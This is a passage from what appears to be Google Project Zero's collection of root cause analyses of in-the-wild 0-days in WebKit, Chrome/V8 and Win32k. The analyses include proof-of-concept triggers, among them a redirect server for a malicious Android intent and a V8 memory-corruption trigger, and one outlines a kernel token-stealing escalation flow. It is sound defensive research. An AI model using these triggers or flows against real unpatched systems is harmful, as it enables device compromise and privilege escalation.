CrossThreadTask([callee = &callee, method, arguments = std::make_tuple(crossThreadCopy(arguments)...)]() mutable { 84 | callMemberFunctionForCrossThreadTask(callee, method, WTFMove(arguments)); 85 | }); 86 | } 87 | ``` 88 | 89 | To trigger this vulnerability, we're using a callee object of `IDBOpenDBRequest`. `IDBOpenDBRequest` is a derived class from `IDBRequest` ([IDBOpenDBRequest.h#L35](https://github.com/WebKit/WebKit/blame/f38367dfe2a83b4cda78235ffd1dc3001743c36e/Source/WebCore/Modules/indexeddb/IDBOpenDBRequest.h#L35)). `IDBRequest` is a derived class from `ThreadSafeRefCounted` ([IDBRequest.h#L63](https://github.com/WebKit/WebKit/blame/f38367dfe2a83b4cda78235ffd1dc3001743c36e/Source/WebCore/Modules/indexeddb/IDBRequest.h#L63)). 90 | 91 | While the intention was that an `IDBOpenDBRequest` callee would use template #1, the `RefPtr`, #2 was actually used because `IDBOpenDBRequest` is not derived from `ThreadSafeRefCounted`, it's actually derived from `ThreadSafeRefCounted`. Therefore #2 with the raw reference was used. 92 | 93 | **Patch analysis:** 94 | 95 | There are two parts to the patch: 96 | 1. In `IDBRequest::dispatchEvent` a check is added to only change the state of the request if the event is trusted, i.e. internally generated. 97 | 2. In `CrossThreadTask::createCrossThreadTask` the template is modified to ensure that the callee object, in this case the `IDBOpenDBRequest`, is a `RefPtr` and therefore protected, rather than being a raw reference. This is done by changing the templates to use `ThreadSafeRefCountedBase` instead of `ThreadSafeRefCounted`. 98 | 99 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 100 | 101 | This bug was most likely found via fuzzing. The trigger for this vulnerability uses all common patterns that would be known to most fuzzers. It is also possible though that the attackers found the vulnerability after seeing the similar Chrome & WebKit bugs. 102 | 103 | **(Historical/present/future) context of bug:** 104 | 105 | * In December 2019, what seems to be a similar bug was found in Chrome by ClusterFuzz: https://bugs.chromium.org/p/chromium/issues/detail?id=1032890 106 | * In March 2019, what seems to be a similar [bug](https://bugs.webkit.org/show_bug.cgi?id=195563) was found in WebKit. In this case, the use-after-free was on the `IDBDatabase` object. The [patch](https://github.com/WebKit/WebKit/commit/9dc1355f53270b710accba13b54300cca74136c6) included adding the template to `CrossThreadTask::createCrossThreadTask` for callees that are a derived class of `ThreadSafeRefCounted`. 107 | 108 | ## The Exploit 109 | 110 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 111 | 112 | **Exploit strategy (or strategies):** 113 | 114 | N/A no access to exploit sample 115 | 116 | **Exploit flow:** 117 | 118 | **Known cases of the same exploit flow:** 119 | 120 | **Part of an exploit chain?** 121 | 122 | ## The Next Steps 123 | 124 | ### Variant analysis 125 | 126 | **Areas/approach for variant analysis (and why):** 127 | 1. Check whether other `dispatchEvent` functions change state based on non-trusted (custom/script-generated) events. 128 | 2. Check whether tasks that take place in threads other than the origin thread use raw references or pointers. 129 | 3. General auditing of IndexedDB code. 130 | 131 | **Found variants:** N/A 132 | 133 | ### Structural improvements 134 | 135 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 136 | 137 | **Ideas to kill the bug class:** 138 | 139 | * Memory Tagging could potentially prevent this use-after-free. 140 | 141 | **Ideas to mitigate the exploit flow:** N/A 142 | 143 | **Other potential improvements:** 144 | 145 | * Monitoring fixes in other platforms who have similar implementations of code. For example, in [January 2020 Chrome](https://bugs.chromium.org/p/chromium/issues/detail?id=1032890) fixed that [`IDBRequest::DispatchEventInternal` changed state in IndexedDB objects based on untrusted events](https://chromium.googlesource.com/chromium/src.git/+/96f63f777dfc517e46cd41edd9f8205f42055aba%5E%21/#F2). Making that change in WebKit would have fixed this vulnerability. 146 | 147 | ### 0-day detection methods 148 | 149 | These may have high rates of false positives, but here are some ideas for detecting: 150 | 151 | * Looking for scripts that have functions specifically to trigger garbage collection. 152 | * Dispatching custom events to IndexedDB objects. 153 | 154 | ## Other References 155 | 156 | -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-38000.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-38000: Chrome Intents Logic Flaw 2 | *Maddie Stone, Google Project Zero* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** October 28, 2021 7 | 8 | **Product:** Google Chrome 9 | 10 | **Advisory:** https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html 11 | 12 | **Affected Versions:** pre-95.0.4638.50 13 | 14 | **First Patched Version:** 95.0.4638.50 15 | 16 | **Issue/Bug Report:** https://bugs.chromium.org/p/chromium/issues/detail?id=1249962 17 | 18 | **Patch CL:** https://chromium.googlesource.com/chromium/src/+/36aa9d15d1283d8d9758b044b7a9a20349f507de 19 | 20 | **Bug-Introducing CL:** N/A 21 | 22 | **Reporter(s):** Clement Lecigne, Neel Mehta, and Maddie Stone of Google Threat Analysis Group 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** 27 | 28 | ``` 29 | import SimpleHTTPServer 30 | import SocketServer 31 | 32 | class FakeRedirect(SimpleHTTPServer.SimpleHTTPRequestHandler): 33 | def do_GET(self): 34 | self.send_response(302) 35 | new_path = '%s%s'%(' intent://google.com#Intent;scheme=https;package=com.mi.globalbrowser;S.browser_fallback_url=yahoo.com;end', self.path) 36 | self.send_header('Location', new_path) 37 | self.end_headers() 38 | 39 | SocketServer.TCPServer(("", 8082), FakeRedirect).serve_forever() 40 | ``` 41 | 42 | **Exploit sample:** 43 | 44 | A 302 redirect with the destination URL of: `intent://#Intent;scheme=https;package=com.sec.android.app.sbrowser;S.browser_fallback_url=;end` 45 | 46 | **Did you have access to the exploit sample when doing the analysis?** Yes 47 | 48 | ## The Vulnerability 49 | 50 | **Bug class:** Logic/design flaw 51 | 52 | **Vulnerability details:** 53 | 54 | Chrome supports Android intents to transfer execution to another application on the device. The vulnerability is that the intent to an external app should only occur when driven by a user. (This includes when the user has selected "Always" on the intent picker. For example, I "always" want Google maps URLs to open in the Google Maps application.) In this case, the user clicks a link, the server the URL pointed to returns a 302 redirection to the intent URL which then opens a new URL in the external application that is pointed to by the URL from the server. The app and the data passed to the app is controlled by the external server. 55 | 56 | **Patch analysis:** 57 | 58 | The patch for this vulnerability includes 6 different changes. Overall these changes seem to cause a dialog to be shown anytime an intent is trying to navigate to a different browser. In cases where the dialog wouldn't be shown, the fallback URL is shown in Chrome. 59 | 60 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 61 | This vulnerability could have been found in many different ways, but one possibility that seems reasonable is that it was found by reading the previous security work around Intents on Android and testing out different options compared to the spec. 62 | 63 | **(Historical/present/future) context of bug:** 64 | 65 | There have previously been vulnerabilities around intent scheme URLs in Android like [this whitepaper](https://www.mbsd.jp/Whitepaper/IntentScheme.pdf) from March 2014 by Takeshi Terada. 66 | 67 | ## The Exploit 68 | 69 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 70 | 71 | **Exploit strategy (or strategies):** 72 | 73 | Triggering the vulnerability is sufficient for exploitation. 74 | 75 | **Exploit flow:** N/A 76 | 77 | **Known cases of the same exploit flow:** N/A 78 | 79 | **Part of an exploit chain?** 80 | 81 | Yes. This vulnerability would only be sufficient to leave the Chrome application sandbox for another application. Therefore in order to exploit the device, more exploits would be necessary for a full chain. In the case of the in-the-wild exploit, execution was transferred to the Samsung browser application, which at the time was on a Chromium version that was 6 months old. This meant that the attacker could then use Chrome n-days to exploit the user via the Samsung browser. 82 | 83 | ## The Next Steps 84 | 85 | ### Variant analysis 86 | 87 | **Areas/approach for variant analysis (and why):** 88 | 89 | 1. Review all the possible formats for intent scheme URLs. Android intent URLs can be crafted in many different ways so a methodical review of all of the possibilities would be important to ensure all variants are mitigated as well. 90 | 91 | **Found variants:** N/A 92 | 93 | ### Structural improvements 94 | 95 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 96 | 97 | **Ideas to kill the bug class:** All intents that would transfer execution from an Internet browser app to another application require user consent. 98 | 99 | **Ideas to mitigate the exploit flow:** N/A 100 | 101 | **Other potential improvements:** 102 | 103 | * Allowing users to turn off intent URLs on their devices. This would give higher risk users the option to mitigate the attack surface in exchange for sacrificing the ease of deeplinks. 104 | 105 | ### 0-day detection methods 106 | 107 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? 108 | 109 | * Screen browser traffic for intent scheme URLs. 110 | 111 | ## Other References 112 | 113 | * 2014: ["Attacking Android browsers via intent scheme URLs"](https://www.mbsd.jp/Whitepaper/IntentScheme.pdf) 114 | * ["Android Intents with Chrome"](https://developer.chrome.com/docs/multidevice/android/intents/) Chrome documentation 115 | * ["Create Deep Links to App Content"](https://developer.android.com/training/app-links/deep-linking) Android documentation 116 | * ["Intents & Intent Filters"](https://developer.android.com/guide/components/intents-filters) Android documentation 117 | -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-4102-turbolizer-a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/googleprojectzero/0days-in-the-wild/bf4c0e41fab9efa1bbe2b189c3afeed55dcb287e/0day-RCAs/2021/CVE-2021-4102-turbolizer-a.png -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-4102-turbolizer-b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/googleprojectzero/0days-in-the-wild/bf4c0e41fab9efa1bbe2b189c3afeed55dcb287e/0day-RCAs/2021/CVE-2021-4102-turbolizer-b.png -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-4102-turbolizer-c.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/googleprojectzero/0days-in-the-wild/bf4c0e41fab9efa1bbe2b189c3afeed55dcb287e/0day-RCAs/2021/CVE-2021-4102-turbolizer-c.png -------------------------------------------------------------------------------- /0day-RCAs/2021/CVE-2021-4102-turbolizer-d.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/googleprojectzero/0days-in-the-wild/bf4c0e41fab9efa1bbe2b189c3afeed55dcb287e/0day-RCAs/2021/CVE-2021-4102-turbolizer-d.png -------------------------------------------------------------------------------- /0day-RCAs/2022/CVE-2022-1096.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-1096: Chrome Type Confusion in Property Access Interceptor 2 | 3 | ## The Basics 4 | 5 | **Disclosure or Patch Date:** 25 March 2022 6 | 7 | **Product:** Google Chromium 8 | 9 | **Advisory:** https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html 10 | 11 | **Affected Versions:** pre 99.0.4844.84 12 | 13 | **First Patched Version:** 99.0.4844.84 14 | 15 | **Issue/Bug Report:** https://bugs.chromium.org/p/chromium/issues/detail?id=1309225 16 | 17 | **Patch CL:** https://chromium.googlesource.com/v8/v8/+/0981e91a4f8692af337e2588562ad1504f4bffdc 18 | 19 | **Bug-Introducing CL:** N/A 20 | 21 | **Reporter(s):** Anonymous 22 | 23 | ## The Code 24 | 25 | **Proof-of-concept:** 26 | 27 | ``` 28 | style = document.createElement('p').style; 29 | style.prop = { toString: () => { 30 | style.prop = 1; 31 | }}; 32 | ``` 33 | 34 | **Exploit sample:** N/A 35 | 36 | **Access to the exploit sample?** No 37 | 38 | 39 | ## The Vulnerability 40 | 41 | **Bug class:** Logic/design issue 42 | 43 | **Vulnerability details:** 44 | 45 | This vulnerability can be triggered through property access interceptor for `CSSStyleDeclaration` objects. The property access interceptor is a method that runs anytime that a property of the object is accessed. The interceptor can lead to user JavaScript execution *during* the property assignment process. For CVE-2022-1096 specifically, if the object doesn't have a property with the specified name, it can be added during the user JavaScript execution in the interceptor. The vulnerability itself is in the property access interceptor support in V8. The issue is that the interceptor doesn't re-check the status of the property after the user's JavaScript runs; the execution continues as if the property still doesn't exist. The property is then added to the object a second time leading to a corrupted object, which was then used to gain remote code execution. 46 | 47 | The vulnerability is the same as 2021 in-the-wild 0-day, [CVE-2021-30551](../2021/CVE-2021-30551.md), just accessed differently. The code path patched for CVE-2021-30551 was only if the property was in the object's prototype chain. This time the vulnerability was exploited using a property that is directly owned by the object rather than in its prototype chain. 48 | 49 | 50 | **Patch analysis:** 51 | 52 | To fix [CVE-2021-30551](../2021/CVE-2021-30551.md) in 2021, the `SetSuperProperty` call was added after the interceptor (and user JavaScript) would run in `SetPropertyInternal`. `SetSuperProperty` can correctly handle if the object and property state has changed due to user JavaScript running. To patch, CVE-2022-1096, the `SetSuperProperty` call was moved in order to be called in both cases in `SetPropertyInternal`: when the property is directly owned by the object and when the property is in the object's prototype chain, rather than just when the object is in the object's prototype chain. 53 | 54 | This fix was insufficient though. `SetPropertyInternal` is only used when something is being directly assigned to a property like in the syntax: `obj.prop = x`. A different function, `DefineOwnPropertyIgnoreAttributes` is called when a property is assigned to a value using `Object.defineProperty` instead. This was fixed as [CVE-2022-1232](https://bugs.chromium.org/p/project-zero/issues/detail?id=2280). 55 | 56 | 57 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 58 | 59 | Since the same root cause bug was discovered as exploited in-the-wild in 2021, it seems likely that this vulnerability was found via variant analysis. When looking at the patch for [CVE-2021-30551](../2021/CVE-2021-30551.md) it's clear that the fix only covered one of the "if/else" branches in `SetPropertyInternal`. So it seems reasonable to search to see if the same vulnerability could be exploited via the other "if/else" branch, which is what happened here. 60 | 61 | **(Historical/present/future) context of bug:** 62 | 63 | * [CVE-2016-5128]() - Security researcher reported bug in the property access interceptor for `HTMLEmbedElement` 64 | * [CVE-2021-30551](../2021/CVE-2021-30551.md) - 2021 in-the-wild 0-day in property access interceptor for `HTMLEmbedElement` 65 | * CVE-2022-1096 (this bug) - 2022 in-the-wild 0-day in property access interceptor for `CSSStyleDeclaration`. Exploiting same root cause bug as CVE-2021-30551 66 | * [CVE-2022-1232](https://bugs.chromium.org/p/project-zero/issues/detail?id=2280) - CVE-2022-1096 was incompletely fixed. This patched a variant. 67 | ## The Exploit 68 | 69 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 70 | 71 | **Exploit strategy (or strategies):** Unknown because I didn't have access to the exploit, but likely the same as [CVE-2021-30551](../2021/CVE-2021-30551.md). 72 | 73 | **Exploit flow:** 74 | 75 | **Known cases of the same exploit flow:** 76 | 77 | **Part of an exploit chain?** 78 | 79 | ## The Next Steps 80 | 81 | ### Variant analysis 82 | 83 | **Areas/approach for variant analysis (and why):** 84 | 85 | * Checking other object types to see if they follow different property access interceptor paths 86 | * Check other browsers for similar issues 87 | 88 | **Found variants:** N/A 89 | 90 | ### Structural improvements 91 | 92 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 93 | 94 | **Ideas to kill the bug class:** 95 | 96 | The ability to run user scripts that may synchronously modify the process state at an unexpected time is a fundamental problem in any software with scripting capabilities, especially web browsers. Chrome mitigates this bug class by putting DisallowJavascriptExecution scope objects in critical parts of the browser to block user JavaScript execution. The main challenge with this approach is to proactively identify all those critical parts. 97 | 98 | **Ideas to mitigate the exploit flow:** N/A 99 | 100 | **Other potential improvements:** 101 | 102 | ### 0-day detection methods 103 | 104 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? 105 | 106 | ## Other References 107 | 108 | * [2022 0-day In-the-Wild Exploitation...so far](https://googleprojectzero.blogspot.com/2022/06/2022-0-day-in-wild-exploitationso-far.html) - Project Zero blog and FIRSTCon presentation that use this vulnerability as a case study 109 | -------------------------------------------------------------------------------- /0day-RCAs/2022/CVE-2022-1364.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-1364: Inconsistent Object Materialization in V8 2 | *Samuel Groß, V8 Security* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 14 April 2022 7 | 8 | **Product:** Google Chrome 9 | 10 | **Advisory:** https://chromereleases.googleblog.com/2022/04/stable-channel-update-for-desktop_14.html 11 | 12 | **Affected Versions:** 100.0.4896.79 and previous 13 | 14 | **First Patched Version:** 100.0.4896.127 15 | 16 | **Issue/Bug Report:** https://bugs.chromium.org/p/chromium/issues/detail?id=1315901 17 | 18 | **Patch CL:** https://chromium.googlesource.com/v8/v8/+/8081a5ffa7ebdb0e5b35cf63aa0490ad3578b940 19 | 20 | **Bug-Introducing CL:** N/A 21 | 22 | **Reporter(s):** Clément Lecigne of Google's Threat Analysis Group 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** 27 | ```javascript 28 | function foo(bug) { 29 | function C(z) { 30 | Error.prepareStackTrace = function(t, B) { 31 | return B[z].getThis(); 32 | }; 33 | let p = Error().stack; 34 | Error.prepareStackTrace = null; 35 | return p; 36 | } 37 | function J() {} 38 | var optim = false; 39 | var opt = new Function( 40 | 'a', 'b', 'c', 41 | 'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' + 42 | 'g++;'.repeat(70)); 43 | var e = null; 44 | J.prototype.d = new Function( 45 | 'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];'); 46 | J.prototype.a = new Function('a', 'a.b(0,a)'); 47 | J.prototype.b = new Function( 48 | 'a', 'b', 49 | 'b.c();if(a){' + 50 | 'g++;'.repeat(70) + '}'); 51 | J.prototype.c = function() { 52 | if (optim) { 53 | var z = C(3); 54 | var p = C(3); 55 | z[0] = 0; 56 | e = {M: z, C: p}; 57 | } 58 | }; 59 | var a = new J(); 60 | // jit optim 61 | if (bug) { 62 | for (var V = 0; 1E4 > V; V++) { 63 | opt(0 == V % 4 ? 1 : 4, a, 1); 64 | } 65 | } 66 | optim = true; 67 | opt(1, a, 1); 68 | return e; 69 | } 70 | 71 | e1 = foo(false); 72 | console.log(e1.M === e1.C); // prints true. 73 | e2 = foo(true); 74 | console.log(e2.M === e2.C); // should be true as above but prints false. 75 | ``` 76 | 77 | **Exploit sample:** 78 | N/A 79 | 80 | **Did you have access to the exploit sample when doing the analysis?** 81 | Yes 82 | 83 | ## The Vulnerability 84 | 85 | **Bug class:** 86 | Inconsistent object materialization. 87 | 88 | **Vulnerability details:** 89 | Prerequisite: escape analysis and materialization 90 | - When escape analysis removes an allocation (because it doesn’t escape), it still needs to keep the information necessary for reconstructing (“materializing”) the object at runtime. 91 | - There are currently two reasons for materialization: (1) Deoptimization, in which case all objects must be materialized as they are needed by the interpreter, and (2) the OptimizedFrame::Summarize function for collecting stackframe information, in which case the function and the `this` object must be materialized as they are exposed to JS (e.g. through the `getThis` method). Case (2) can be triggered for example through the Error constructor. 92 | - In case (2), the optimized function is not deoptimized. As such, when collecting the stacktrace multiple times for the same activation, the same object (e.g. `this`) is materialized multiple times, which is observable. This is a documented correctness bug. 93 | - There are other, related correctness bugs due to this logic. For example, if the materialized `this` is modified, the changes are not reflected in the optimized code. See Appendix 2 for an example of this issue 94 | 95 | The security bug: 96 | - In certain scenarios, when the escape analysis dematerializes an ArgumentsObject, it keeps the backing store (which contains the function’s arguments in a FixedArray) of the object alive. With the PoC in Appendix 1, this happens because the backing store allocation is used by a LoadElement operation with dynamic index due to the `return arguments[a]` statement. As such, escape analysis concludes that the ArgumentsObject can be dematerialized, but its backing store cannot. 97 | - This in combination with the correctness bug described above results in a security bug: by using an `arguments` object as `this` value for a call, then materializing it multiple times using the stack capturing mechanism, multiple ArgumentsObjects are created which all share the same backing store. This violates the V8 invariant that backing stores are never shared, except if they are copy-on-write. 98 | - This can then be used to leak the internal “hole” value: by deleting an entry from one arguments object (which will then transition from PACKED to HOLEY elements type), then reading it from the other (which still has PACKED elements type), the “hole” is returned to JS code 99 | - The “hole” can then be exploited as described in crbug.com/1263462 100 | 101 | 102 | **Patch analysis:** 103 | The patch marks the `this` object as escaping, thus preventing it from being dematerialized in the first place. A follow-up patch (https://chromium.googlesource.com/v8/v8/+/add8811019a1f2015c4214c20df8e6e8d4a864bb) forbids materialization during OptimizedFrame::Summarize. 104 | 105 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 106 | Could've been found as a variant of [CVE-2021-21195](https://bugs.chromium.org/p/chromium/issues/detail?id=1182647) or through (differential?) fuzzing. 107 | 108 | **(Historical/present/future) context of bug:** See above. 109 | 110 | ## The Exploit 111 | 112 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 113 | 114 | **Exploit strategy (or strategies):** 115 | The bug can be used to create two or more JSArgumentsObjects that all point to the same backing store. 116 | 117 | **Exploit flow:** 118 | A situation in which two array-like objects point to the same backing store can be exploited to leak the "hole" value as described above. From there, memory corruption can be achieved as described in crbug.com/1263462 119 | 120 | **Known cases of the same exploit flow:** 121 | [CVE-2021-38003](https://bugs.chromium.org/p/chromium/issues/detail?id=1263462) had exploited access to the "hole" in the same way. 122 | 123 | **Part of an exploit chain?** 124 | Unknown but likely. 125 | 126 | ## The Next Steps 127 | 128 | ### Variant analysis 129 | 130 | **Areas/approach for variant analysis (and why):** 131 | In general issues where escape analysis incorrectly marks an object as not-escaping. More specifically, other cases where objects are materialized multiple times which may lead to inconsistent state. 132 | 133 | **Found variants:** 134 | See https://bugs.chromium.org/p/chromium/issues/detail?id=1315901#c65 135 | 136 | ### Structural improvements 137 | 138 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 139 | 140 | **Ideas to kill the bug class:** 141 | Forbid double-materialization of objects (the known correctness bug), which ultimately allows this class of issues to occurr in the first place. This is effectively what the follow-up patch did. 142 | 143 | **Ideas to mitigate the exploit flow:** 144 | It's likely not realistic to prevent leakage of the "hole" when backing stores are accidentally shared as array access is very performance sensitive. However, exploiting access to the "hole" can be mitigated by explicitly checking for it, as done in https://chromium.googlesource.com/v8/v8/+/66c8de2cdac10cad9e622ecededda411b44ac5b3 145 | 146 | **Other potential improvements:** 147 | 148 | ### 0-day detection methods 149 | 150 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? 151 | 152 | ## Other References 153 | -------------------------------------------------------------------------------- /0day-RCAs/2022/CVE-2022-21882.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-21882: Win32k Window Object Type Confusion 2 | *RyeLv (@b2ahex)* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** Jan 13, 2022 7 | 8 | **Product:** Microsoft Windows 9 | 10 | **Advisory:** https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21882 11 | 12 | **Affected Versions:** Before the January 2022 patch update. Windows 10,Windows 11,Windows Server 2019,Windows server 2022 (Currently only full exploits found under windows10 and windows server 2019) 13 | 14 | **First Patched Version:** CVE-2022-21882,January 2022 patch update. 15 | 16 | **Issue/Bug Report:** N/A 17 | 18 | **Patch CL:** N/A 19 | 20 | **Bug-Introducing CL:** N/A 21 | 22 | **Reporter(s):** RyeLv (@b2ahex) 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** N/A 27 | 28 | **Exploit sample:** N/A 29 | 30 | **Did you have access to the exploit sample when doing the analysis?** Yes 31 | 32 | ## The Vulnerability 33 | 34 | **Bug class:** win32k object type confusion 35 | 36 | **Vulnerability details:** 37 | 38 | The attacker can call the relevant GUI API at the user_mode to make the kernel call like xxxMenuWindowProc, xxxSBWndProc, xxxSwitchWndProc, xxxTooltipWndProc, etc. These kernel functions will trigger a callback xxxClientAllocWindowClassExtraBytes. Attacker can intercept this callback through hook xxxClientAllocWindowClassExtraBytes in KernelCallbackTable,and use the NtUserConsoleControl method to set the ConsoleWindow flag of the tagWND object, which will modify the window type. 39 | 40 | After the final callback, the system does not check whether the window type has changed, and the wrong data is referenced due to type confusion. The difference before and after the flag modified is that before setting the flag, the system thinks that tagWND.WndExtra saves a user_mode pointer; after the flag is set, the system thinks that tagWND.WndExtra is the offset of the kernel desktop heap,and attacker can control this offset, then cause out-of-bounds R&W. 41 | 42 | **Patch analysis:** 43 | 44 | The patch added check code. Before the xxxClientAllocWindowClassExtraBytes method ends, the system will check the ConsoleWindow flag(0x800). If the flag is set, xxxClientAllocWindowClassExtraBytes returns false. 45 | 46 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 47 | 48 | Code auditing for user-mode callbacks related functions is feasible, and there is a lot of excellent research on this attack surface. 49 | 50 | **(Historical/present/future) context of bug:** 51 | 52 | https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732 53 | 54 | ## The Exploit 55 | 56 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 57 | 58 | **Exploit strategy (or strategies):** 59 | 60 | Through the vulnerability to achieve out-of-bounds read and write, and modify the kernel object of another window to obtain the kernel arbitrary address read and write primitive 61 | 62 | **Exploit flow:** 63 | 64 | 1.Trigger the vulnerability to get out-of-bounds write, modify the cbWndExtra of the window object to 0x0FFFEFFF, so use the window object WndExtra can access a large memory. 65 | 66 | 2.Modify the WS_CHILD flag of another window and set a specially constructed Menu(fake menu) for the other window 67 | 68 | 3.Get arbitrary read primitive by GetMenuBarInfo API and fake menu. 69 | 70 | 4.Use the SetWindowLongPtrA API to modify the ExtraBytes of another window object to get arbitrary write primitive. 71 | 72 | 5.Find the system eprocess with PID 4 through EPROCESS ActiveProcessLinks 73 | 74 | 6.Read the system token and replace the current process token 75 | 76 | **Known cases of the same exploit flow:** 77 | 78 | It is the same as the previous CVE-2021-1732 exploit, and is a common way of exploiting privilege escalation vulnerabilities. 79 | 80 | CVE-2021-1732(https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html) 81 | 82 | **Part of an exploit chain?** 83 | 84 | N/A 85 | 86 | ## The Next Steps 87 | 88 | ### Variant analysis 89 | 90 | **Areas/approach for variant analysis (and why):** 91 | 92 | Here's a quick way to check CVE-2021-1732 & CVE-2022-21882: 93 | 94 | After the xxxClientAllocWindowClassExtraBytes callback is completed, determine whether the window object contains the 0x800 flag before the function return. 95 | 96 | when flag has been set,it can be identified according to the calling path of xxxClientAllocWindowClassExtraBytes. 97 | 98 | When the stack path is xxxCreateWindowEx -> xxxClientallocxxxxExtraBytes (CVE-2021-1732). 99 | 100 | In other cases it is (CVE-2022-21882). 101 | 102 | 103 | **Found variants:** N/A 104 | 105 | ### Structural improvements 106 | 107 | 108 | **Ideas to kill the bug class:** 109 | 110 | Improve the kernel 0day bounty, let more security researchers participate in the bounty program, and help the system to be more perfect. 111 | 112 | **Ideas to mitigate the exploit flow:** 113 | 114 | Mitigating common exploit techniques. 115 | 116 | **Other potential improvements:** 117 | 118 | Improve the kernel 0day bounty. 119 | 120 | ### 0-day detection methods 121 | 122 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? 123 | 124 | Detect strings in memory for dynamically get addresses/offset. 125 | 126 | Detect the behavior of user-mode process loading kernel modules like ntoskrnl.exe. 127 | 128 | Check if KernelCallbackTable is hooked. 129 | 130 | ## Other References 131 | 132 | https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21882 133 | 134 | https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html 135 | 136 | https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/ 137 | 138 | https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/technical-analysis-of-cve-2021-1732/ -------------------------------------------------------------------------------- /0day-RCAs/2022/CVE-2022-22265-advisory.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/googleprojectzero/0days-in-the-wild/bf4c0e41fab9efa1bbe2b189c3afeed55dcb287e/0day-RCAs/2022/CVE-2022-22265-advisory.png -------------------------------------------------------------------------------- /0day-RCAs/2022/CVE-2022-22620.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-22620: Use-after-free in Safari 2 | *Maddie Stone* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** 10 February 2022 7 | 8 | **Product:** Apple Safari/WebKit 9 | 10 | **Advisory:** https://support.apple.com/en-us/HT213093 11 | 12 | **Affected Versions:** Safari 15.3, iOS 15.3, macOS 12.2 and earlier 13 | 14 | **First Patched Version:** Safari 15.3 (v. 16612.4.9.1.8 and 15612.4.9.1.8), iOS 15.3.1, macOS 12.2.1 15 | 16 | **Issue/Bug Report:** https://bugs.webkit.org/show_bug.cgi?id=235551 17 | 18 | **Patch CL:** https://github.com/WebKit/WebKit/commit/486816dc355c19f1de1b8056f85d0bbf7084dd6e 19 | 20 | **Bug-Introducing CL:** https://github.com/WebKit/WebKit/commit/aa31b6b4d09b09acdf1cec11f2f7f35bd362dd0e 21 | 22 | **Reporter(s):** Anonymous 23 | 24 | ## The Code 25 | 26 | **Proof-of-concept:** 27 | 28 | ```javascript 29 | input = document.body.appendChild(document.createElement("input")); 30 | 31 | foo = document.body.appendChild(document.createElement("a")); 32 | foo.id = "foo"; 33 | 34 | // Go to state1 when history.back is called 35 | // The URL needs to be to trigger loadInSameDocument during the call to back() 36 | // Since the foo's element id="foo", focus will change to that element 37 | history.pushState("state1", "", 